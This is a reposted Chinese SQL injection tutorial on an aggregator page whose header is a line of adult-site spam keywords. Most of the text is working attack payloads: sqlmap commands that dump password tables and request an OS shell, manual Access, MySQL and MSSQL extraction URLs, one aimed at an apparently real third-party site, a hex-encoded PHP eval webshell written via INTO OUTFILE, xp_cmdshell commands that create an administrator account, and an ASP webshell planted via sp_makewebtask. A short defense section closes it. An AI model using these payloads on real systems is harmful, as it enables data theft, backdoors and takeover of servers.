日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

2021年6月10日08点53分 SQL注入

發布時間:2023/12/14 数据库 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2021年6月10日08点53分 SQL注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1、SQL注入基礎

1.1、SQL注入基礎

SQL注入( SQL Injection ):程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據或進行數據庫操作SQL注入漏洞的危害是巨大的,常常會導致整個數據庫被“脫褲”。

URLSQL
www.test.com/news.php?id=1FROM news WHERE id=1
www.test.com/news.php?id=1’SELECT * FROM news WHERE id=1’
www.test.com/news.php?id=1 and 1=1SELECT * FROM news WHERE id=1 and 1=1
www.test.com/news.php?id=1 and 1=2SELECT * FROM news WHERE id=1 and 1=2
www.test.com/login.php?user=lisi
www.test.com/login.php?user=lisi’SELECT * FROM users WHERE user=‘lisi’’
www.test.com/login.php?user=lisi’ and ‘1’='1SELECT * FROM users WHERE user=‘lisi’ and ‘1’=‘1’

1.2、SQL注入分類

1.2.1、按變量類型分

  • 數字型注入
  • 字符型注入
  • 搜索型注入

1.2.2、按HTTP提交方式分

  • GET注入
  • POST注入
  • Cookie注入

1.2.3、按注入方式分

  • 報錯注入
  • union注入
  • 盲注基于時間注入

1.2.4、編碼問題

  • 編碼問題的寬字節注入

1.3、SQL注入漏洞的危害

1.3.1、數據庫信息泄漏

數據庫中存放的用戶的隱私信息的泄露。

1.3.2、網頁篡改

通過操作數據庫對特定網頁進行篡改。

1.3.3、網站被掛馬,傳播惡意軟件

修改數據庫一些字段的值,嵌入網馬鏈接,進行掛馬攻擊。

1.3.4、數據庫被惡意操作

數據庫服務器被攻擊,數據庫的系統管理員帳戶被竄改。

1.3.5、服務器被遠程控制,被安裝后門

經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。

1.3.6、操作文件系統

一些類型的數據庫系統能夠讓SQL指令操作文件系統,這使得SQL注入的危害被進一步放大。

2、SQL注入工具

啊D注入工具,明小子綜合注入(僅支持Access和SQL Server,不支持其他數據庫)
Havij,Pangolin(支持Mysql,Oracle)

SQLmap
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。

python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --tables # 列出表 python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --columns -T admin # 列出字段 python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --dump -T admin # 列出表中內容 python sqlmap.py -u "http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1139" --dump -C id,admin,password -T admin # 列出表中指定字段的內容

2.1、Access手工注入

2.1.1、判斷數據庫類型

and (select count(8) from msysobject)>0 //返回權限不足則為access數據庫

2.1.2、猜表名

and exists (select * from 表名) and (select count(*) from 表名)>0

exists ()的作用是:()里若是返回結果集,就為真。
*是通配符,可代指一個字母或一個單詞,代表任意,即存在數據。select * from admin的意思是:在admin這個表中是否存在數據,若存在數據,exists ()就為真,and前后兩個語句都為真,程序返回正常;若admin表不存在,就是為空集,exists ()為假,程序報錯。因此通過替換“admin”就可以判斷替換的表是否存在。

2.1.3、猜字段名

and exists(select 字段名 from 表名) and (select count(字段名) from 表名)>=0

username是猜解的列名,count()的作用是:返回指定條件的行數,count(username)意思是:返回“username”有幾行,存在的話返回“1”(列名不能有重復),exists ()就為真,程序返回正常,若不存在的話,返回“0”,即為空集,exists ()就為假,程序報錯,改變“username”即可判斷輸入的列名是否存在。

2.1.4、猜字段值的長度

and (select top 1 len(字段名) from 表名)>1 and (select top 1 len(字段名) from 表名)>2 and (select top 1 len(字段名) from 表名)>n

2.1.5、猜字段值

and (select top 1 asc(mid (字段名,1,1)) from 表名)>0 and (select top 1 asc(mid (字段名,1,1)) from 表名)>1 and (select top 1 asc(mid (字段名,1,1)) from 表名)>n and (select top 1 asc(mid (字段名,2,1)) from 表名)>0 and (select top 1 asc(mid (字段名,2,1)) from 表名)>2 and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

要猜解它的內容,就要先知道它里面內容的長度,知道長度后才可以進行逐位猜解。
一般情況下,是用Mid(列名,N,1)來截取列名的第N位字符,再用ASC()函數將截取到的的字符轉換ASCII碼:ASCII碼又叫美國信息標準碼,可以將字母或符號轉換為數字,如a的十進制ASCII碼為97,猜解出來的是ASCII碼的值,還需要對其進行轉換。為了加快猜解速度,可以使用折半法進行猜解。

http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from 表名) http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select 列名 from 表名) http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>0 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>10 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)>20 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(列名) from 表名)=5 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,2,1)) from admin)=100 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,3,1)) from admin)=109 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,4,1)) from admin)=105 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,5,1)) from admin)=110 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(password,1,1)) from admin)=97

2.2、Access高級手工注入(但不是所有的注入點都適合)

2.2.1、判斷數據庫類型

and user>0 //通過內置變量爆數據庫類型 and (select count(*) from msysobjects)>0 //返回權限不足為access數據庫 and (select count(*) from sysobjects)>0 //返回正常則為MSSQL數據庫

2.2.2、猜表名

and exists (select * from 表名) and (select count(*) from 表名)>=0

2.2.3、猜字段名

and exists(select 字段名from 表名) and (select count(字段名) from 表名)>=0

2.2.4、Order by猜字段數目

order by 1 order by 2 order by n

2.2.5、Union select 爆字段內容

and 1=2 union select 1,字段名,字段2,...,n from 表名 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin http://localhost:81/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin UNION運算要求查詢具有相同數目的字段,但是字段數據類型不必相同

注意,Access使用union聯合查詢,不論前面的查詢語句是否為真,后面的查詢語句都會覆蓋前面的結果,MySQL使用union聯合查詢時,只有前面的查詢語句為假,后面的查詢語句才會覆蓋前面查詢語句的內容,否則不會顯示union后面的查詢語句,也就無法爆出用戶名密碼

2.3、MySQL注入工具,啊D,明小子,Havij,Pangolin,SQLmap

啊D、明小子只支持ACCESS和MSSQL環境的注入點,不支持MYSQL。
Havij、Pangolin支持ACCESS/MSSQL/MYSQL等常見數據庫。
SQLMAP支持市面上基本所有的數據庫。

python sqlmap.py -u "http://localhost/mysql.php?id=1" python sqlmap.py -u "http://localhost/mysql.php id=1" --dbs # 列出存在的數據庫 python sqlmap.py -u "http://localhost/mysql.php?id=1" --current-db # 列出當前正在使用的數據庫,當前頁面正在和哪一個數據庫交互 python sqlmap.py -u "http://localhost/mysql.php?id=1" --tables -D sqlinject # 列出表,-D指定數據庫 python sqlmap.py -u "http://localhost/mysql.php?id=1" --columns -T users -D sqlinject # 列出字段,-T指定表,-D指定數據庫 python sqlmap.py -u "http://localhost/mysql.php?id=1" --dump -T users -D sqlinject # 列出數據庫內容 python sqlmap.py -u "http://localhost/mysql.php?id=1" --dump -C id,username,password -T users -D sqlinject python sqlmap.py -u "http://localhost/mysql.php?id=1" --users # 讀取mysql所有用戶 python sqlmap.py -u "http://localhost/mysql.php?id=1" --current-user # 讀取當前用戶 python sqlmap.py -u "http://localhost/mysql.php?id=1" --is-dba # 判斷當前用戶是否為root賬戶 python sqlmap.py -u "http://localhost/mysql.php?id=1" --passwords # 讀取mysql所有用戶hash密碼 python sqlmap.py -u "http://localhost/mysql.php?id=1" --banner # 讀取mysql具體版本 python sqlmap.py -u "http://localhost/mysql.php?id=1" --os-shell #

2.4、MySQL手工注入

Mysql中不用判斷表是否存在,可以直接order by判斷頁面中的字段數量。

http://192.168.0.104/sqlinject/mysql.php?id=1+order+by+3 http://192.168.0.104/sqlinject/mysql.php?id=1+order+by+4

通過order by 得到頁面字段數量后,即可通過union select確定顯示位。

http://192.168.0.104/sqlinject/mysql.php?id=1+union+select+1,2,3

頁面中不但顯示了正常的內容,也顯示了顯示位信息。如果要避免正常內容對顯示位產生誤導影
響,可通過在union select之前增加and 1=2的方式屏蔽原始的正常內容。

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+1,2,3

And 1=2的作用,是把union select之前的語句變成FALSE的狀態,即可使union之后的值覆蓋前邊的值。
為了達到這種覆蓋的效果,將URL中傳遞參數的值變為數據庫中一定不會存在的值也可以。
比如:

http://192.168.0.104/sqlinject/mysql.php?id=1000+union+select+1,2,3 http://192.168.0.104/sqlinject/mysql.php?id=-1+union+select+1,2,3

頁面上顯示的1、2、3等數字就是顯示位,可以用于后續注入查詢數據的展示。

得到顯示位后,即可查詢版本、當前用戶、當前數據庫等基本信息。只要是mysql支持的函數,都可以在顯示位處執行。

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+user(),version(),database()

從MySQL 5開始, 你可以看到多了一個系統數據庫information_schema。
來看一下information_schema庫的表有哪些:information_schema存貯了其他所有數據庫的信息,但它物理上并不存在,在需要的時候,從其他數據庫獲取相應的信息。
如果注入點所使用的mysql賬戶對information_schema有讀取權限的話,攻擊者就可以直接從該庫中得到他想要的一切信息。
更多關于information_schema的詳細信息可以看官網介紹:
http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html

2.4.1、查庫語法

select concat(GROUP_CONCAT(DISTINCT table_schema)) from information_schema.columns;

這條SQL語句的意思,就是從information_schema庫的COLUMNS表中查詢出所有TABLE_SCHEMA列的內容并過濾重復。
查庫語法在SQL注入點中的示例:

http://www.cmiqc.com/content/info.php?id=253+and+1=2+union+select+1,2,3,concat(GROUP_CONCAT(DISTINCT+table_schema)),5,6,7,8+from+information_schema.columns

一條注入指令,就爆出了當前mysql中所有的庫名列表。這是因為在COLUMNS表中的TABLE_SCHEMA列中存儲了mysql中所有的非空庫名。
實際上在很多其他的表中也存在TABLE_SCHEMA列,這些列中也存儲了mysql中所有的非空庫名,比如information_schema.SCHEMATA表。
SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(schema_name)),2,3+from+information_schema.SCHEMATA

還有information_schema.TABLES表也可以用于查庫。SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT table_schema)),2,3+from+information_schema.TABLES

2.4.2、查表

可以從information_schema.TABLES和information_schema.COLUMNS這2個表中查詢各個庫中的所有表名。
SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT table_name)),2,3+from+information_schema.TABLES+where+table_schema='xssme' http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCTtable_name)),2,3+from+information_schema.TABLES+where+table_schema=0x7873736D65

2.4.3、查列

可以從information_schema.COLUMNS表中查詢出每個庫中每個表中所包含的列名。
SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT column_name)),2,3+from+information_schema.COLUMNS+where+table_name= 'oc_user' http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(group_concat(DISTINCT column_name)),2,3+from+information_schema.COLUMNS+where+table_name=0x6F635F75736572

3、常用變量與函數

3.1、MySQL注入-常用變量與函數

在mysql中執行SHOW VARIABLES;就可以返回當前所有可用的變量和變量的值

變量功能說明
@@version_compile_os返回操作系統類型
@@Datadir返回數據存儲目錄的路徑
@@Basedir返回mysql安裝目錄的路徑
@@log_error返回mysql錯誤日志的路徑
@@plugin_dir返回mysql的插件目錄的路徑
@@tmpdir返回mysql存儲臨時文件的目錄路徑
@@skip_networking返回mysql是否只允許本地連接的布爾值,1為是,0為否
函數功能說明
version()返回數據庫版本
database()返回當前庫名
user()返回當前登錄用戶,可用SYSTEM_USER()、SESSION_USER()、CURRENT_USER()替代
concat()用于連接一個或者多個字符串,注入中一般用于在一個位置顯示多個內容
GROUP_CONCAT()一次性返回一列的全部內容
load_file()讀取文件
into outfile()導出文件,導出過程中會轉義換行符并在行末端寫入新行
into dumpfile()導出文件,不對數據做任何修改,但只能導出一行數據

3.2、MySQL注入-Concat()和concat_ws()函數

Concat()函數用于連接一個或者多個字符串,注入中一般用于在一個位置顯示多個內容。當注入點的顯示位只有一個,但又需要同時顯示多條內容時,就需要使用concat()函數。
語法:

select concat(user(),',',database(),',',version()); select concat(user(),0x2c,database(),0x2c,version());

SQL注入語法:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat(user(),0x2c,database(),0x2c,version()),2,3

Concat()函數的語法不會主動為每個被包含的內容中間加上分隔符號以更便于閱讀,所以需要手動
在每兩個被包含內容中間增加分隔符號。
Concat_ws()函數可以指定一個分隔符號,從而幫助我們在被包含的兩個內容中間自動添加該分隔
符號,比如:

select concat_ws(0x2c,user(),database(),version());

SQL注入代碼:

http://192.168.0.104/sqlinject/mysql.php?id=1+and+1=2+union+select+concat_ws(0x2c,user(),database(),version()),2,3

4、MySQL高級注入-Load_file和into outfile

4.1、利用條件

  • Mysql賬戶具備file權限
  • Mysql版本為3.23以上,否則低版本的mysql沒有into
    outfile和dumpfile函數,無法導出文件,官方說明見:http://dev.mysql.com/doc/refman/4.1/en/select.html
  • 被導出的目錄可寫可執行

4.2、Mysql賬戶的file權限是什么?

Mysql安裝之后會存在一個名為mysql的默認數據庫,這個庫中存儲了mysql的大部分配置信息。
每個mysql賬戶的權限控制信息存儲在mysql.user表中,File_priv確定用戶是否可以執行SELECT INTO OUTFILE和LOAD DATA INFILE命令。對于滲透測試來說,經常需要關注的字段是mysql.user. File_priv,這個字段的值是一個布爾值,它決定了該用戶是否具備操作磁盤上的文件的權限。比如如果mysql.user. File_priv中對mysql賬戶root的定義值是Y,那么root就有權讀寫服務器磁盤上的文件。反之,如果該值為N,則root無權讀寫服務器磁盤上的文件。
所以,在注入時,不能看到是root就判斷一定可以利用into outfile/loadfile函數。能否利用into outfile/loadfile/into dumpfile這種文件操作函數與賬戶名無關,與mysql.user. File_priv字段中對該賬戶的權限分配有關。
可以使用以下SQL語句查詢用戶是否具備File_priv權限:

select HOST,USER,FILE_PRIV from mysql.user;

在當前賬戶沒有文件操作權限時執行into outfile/loadfile/into dumpfile等文件操作函數,會提示Access denied訪問拒絕:
如果要禁用某個mysql賬戶的文件操作權限,則構造以下SQL語句執行即可:

UPDATE mysql.user SET File_priv = 'N' WHERE User='fan'; FLUSH PRIVILEGES;

如果要禁用所有賬戶的文件操作權限,則執行:

UPDATE mysql.user SET File_priv = 'N'; FLUSH PRIVILEGES;

切記在修改完用戶權限后,一定要執行“FLUSH PRIVILEGES;”語句重載mysql用戶授權表或重啟mysql服務,否則mysql依然使用的是緩存在內存中的權限配置。

4.2.3、Load_file讀文件

因為mysql中字符串可以用16進制表示,所以要加載的文件的路徑及文件名可以轉換為16進制后執行,這樣可以繞過GPC的限制。
前提條件:

  • 文件必須在服務器上。
  • LOAD_FILE()函數操作文件的當前目錄是@@datadir 。
  • MySQL用戶必須擁有對此文件讀取的權限。
  • 文件大小必須小于 max_allowed_packet。
  • @@max_allowed_packet的默認大小是1047552 字節。

示例:

select load_file('C:\\boot.ini');

可以將文件路徑轉換為16進制再讀取:

select load_file(0x433A2F7068705F777777726F6F742F31375F30395F32342E6C6F67);

在注入點的利用:

http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,load_file('C:\\boot.ini'); http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,load_file(0xhex);

4.2.4、into outfile寫文件

前提條件:

  • INTO OUTFILE 不可以覆蓋已存在的文件。
  • INTO OUTFILE 必須是最后一個查詢。
  • 引號是必須的,因為沒有辦法可以編碼路徑名。

SQL語句:

select 0x3C3F70687020406576616C28245F504F53545B2770617373275D293B3F3E into outfile 'C:\\PHPSTUDY-002\\WWW\\caidao.php'

在注入點的利用:

http://192.168.213.129/mysql.php?id=1 and 1=2 union select 1,2,0x3C3F70687020406576616C28245F504F53545B2770617373275D293B3F3E into outfile 'C:\\PHPSTUDY-002\\WWW\\caidao2.php'

4.2.5、secure-file-priv參數

secure-file-priv參數是用來限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

  • 當secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
  • 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
  • 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

如何查看secure-file-priv參數的值:

show global variables like '%secure%';

此開關默認為NULL,即不允許導入導出。
官方說明:
https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_ priv
https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_secure_file_ priv

5、MSSQL注入

python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dbs python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --current-db python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --tables -D db_shop python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --columns -T users -D db_shop(讀不出列,需手工) python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dump -T users -D db_shop(讀不出列,需手工) python sqlmap.py -u "http://localhost:83/looknews.asp?id=20" --dump -C id,username,password -T users -D db_shop(讀不出列,需手工)

5.1、基本注入

單引號判斷注入
判斷數據庫類型

and user>0 //通過內置變量爆數據庫類型 and (select count(*) from sysobjects)>0 //返回正常則為MSSQL數據庫

user是SQLServer的一個內置變量,它的值是當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉換數據類型為 int 的列時發生語法錯誤,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。
如果是sa登錄,提示是將”dbo”轉換成int的列發生錯誤,而不是”sa”。
在本文演示的案例中,提示就是dbo,那么說明當前注入點的權限是sa。
判斷版本:and (select @@version)>0;--

判斷當前數據庫:

and db_name()>0;-- 獲取機器名: and (select @@servername)>0;-- 判斷是否為sa權限: and (select is_member('db_owner'))>0;-- 判斷是否有master庫讀取權限: and (select HAS_DBACCESS('master'))>0;-- 有master庫的讀取權限,就可以遍歷數據庫中存在的所庫的名字了。

5.2、爆庫

and (select name from master.dbo.sysdatabases where dbid=1)>0;-- and (select name from master.dbo.sysdatabases where dbid=2)>0;-- 也就是不斷變化dbid的值,來遍歷數據庫中所有的庫名,其默認數據庫的 id 號從 6 以后為

用戶定義數據庫。
當dbid的值足夠大時,那么數據庫中肯定沒有這么多的庫,這時and語句的執行結果就會是false:
ADODB.Field 錯誤 '80020009’BOF 或 EOF 中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
/shop/looknews.asp,行 0

5.3、爆表

http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 )>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass'))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin'))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin','class'))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('bigclass','admin','class','D99_CMD'))>0;--

5.4、暴列

http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),1) from sysobjects)>0;-- http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),2) from sysobjects)>0;-- http://localhost:83/looknews.asp?id=20 and (Select Top 1 col_name(object_id('admin'),3) from sysobjects)>0;--

5.5、爆內容

只要將之前得到的表名列名進行組合查詢,形成完整的SQL查詢語句即可進行正常的查詢。

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin)>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin)>0;--

按照上述的手法可以得到第一條數據,不過想得到第2條或第N條數據的話,就稍微有點麻煩。

取得第二條數據:

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin where username not in (select top 1 username from admin))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin where pass not in (select top 1 pass from admin))>0;--

取得第三條數據:

http://localhost:83/looknews.asp?id=20 and (select top 1 username from admin where username not in (select top 2 username from admin))>0;-- http://localhost:83/looknews.asp?id=20 and (select top 1 pass from admin where pass not in (select top 2 pass from admin))>0;--

MSSQL總結

爆庫、表、字段、內容分別是 http://192.168.1.21/looknews.asp?id=20 and (select name from master.dbo.syasdatabases where dbid=1)>0; -- http://192.168.1.21/looknews.asp?id=20 and (select top 1 name from sysobjects where xtype='u')>0; -- http://192.168.1.21/looknews.asp?id=20 and (select col_name(object_id('admin'),1))>0; -- http://192.168.1.21/looknews.asp?id=20 and (select top 1 username from admin)>0; --

6、SQL注入

6.1、MSSQL高級注入-存儲過程

存儲過程:存儲過程為數據庫提供了強大的功能,其類似UDF,在MSSQL中xp_cmdshell可謂臭名昭著了。MSSQL強大的存儲過程也為黑客提供了便利,在相應的權限下,攻擊者可以利用不同的存儲過程執行不同的高級功能,如增加MSSQL數據庫用戶,枚舉文件目錄等等。而這些系統存儲過程中要數xp_cmdshell最強大,通過該存儲過程可以在數據庫服務器中執行任意系統命令。MSSQL2005,2008等之后版本的MSSQL都分別對系統存儲過程做了權限控制以防止被濫用。
擴展存儲的本質是編譯了的動態鏈接庫(DLLs),它用SQL-Server指定的調用方式去運行接口函數。他們允許SQL-Server程序 擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內置了大量的擴展存儲,而且有各種各樣的函數比如發送郵件和更改注冊表。

6.2、MSSQL高級注入-XP_CMDSHELL

判斷XP_CMDSHELL是否存在

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name ='xp_cmdshell');-- 如果存在,會返回正常頁面。

如果不存在,會提示:
ADODB.Field 錯誤 ‘800a0bcd’
BOF 或 EOF 中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。xp_cmdshell是一個內置的擴展存儲,它允許執行任意的命令行程序。

http://localhost:83/shop/looknews.asp?id=20;Exec master.dbo.xp_cmdshell 'net user cmdshell cmdshell /add';-- http://localhost:83/looknews.asp?id=20;exec master.dbo.xp_cmdshell 'net localgroup administrators cmdshell /add';--

6.3、MSSQL高級注入-通過sp_makewebtask直接獲得webshell

如果未啟用Web Assistant Procedures,那么MSSQL會提示錯誤:
SQLServer 阻止了對組件 ‘WebAssistant Procedures’ 的 過程’sys.xp_makewebtask’ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。

開啟:exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE 寫入webshell:exec sp_makewebtask 'c:\1.asp','select''<%execute(request("ruo"))%>'' ' SQL注入: http://localhost:83/looknews.asp?id=20;exec sp_makewebtask 'C:\Inetpub\wwwroot\asp_mssql\test.asp','select''<%25eval request("pass")%25>'''; --

6.4、SQL注入防御

6.4.1、輸入驗證:驗證應用接收到的輸入時一種可用的功能強大的控制手段。

  • 黑名單驗證:黑名單驗證的常用方法是使用正則表達式。

  • 白名單驗證:

    驗證數據是否為白名單范圍中的內容。
    數據類型:字符、數字等。
    數據大小:字符串長度是否正確,數字的大小和精度是否正確。
    數據范圍:如果是數字型,是否位于該數據類型期望的數字范圍。
    數據內容:數據是否屬于期望的數據類型,如手機號碼,它是否滿足期望的值。

6.4.2、使用參數化語句

PHP包含很多用于訪問數據庫的框架。訪問MySQL數據庫的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP數據對象(PDO)框架,他們均為使用參數化語句提供便利。

6.4.3、使用存儲過程

將應用設計成專門使用存儲過程來訪問數據庫是一種可以防止或減輕SQL注入影響的技術。存儲過程是保存在數據庫匯總的程序。根據數據庫的不同,可以使用很多不同語言及其變體來編寫存儲過程。

總結

以上是生活随笔為你收集整理的2021年6月10日08点53分 SQL注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。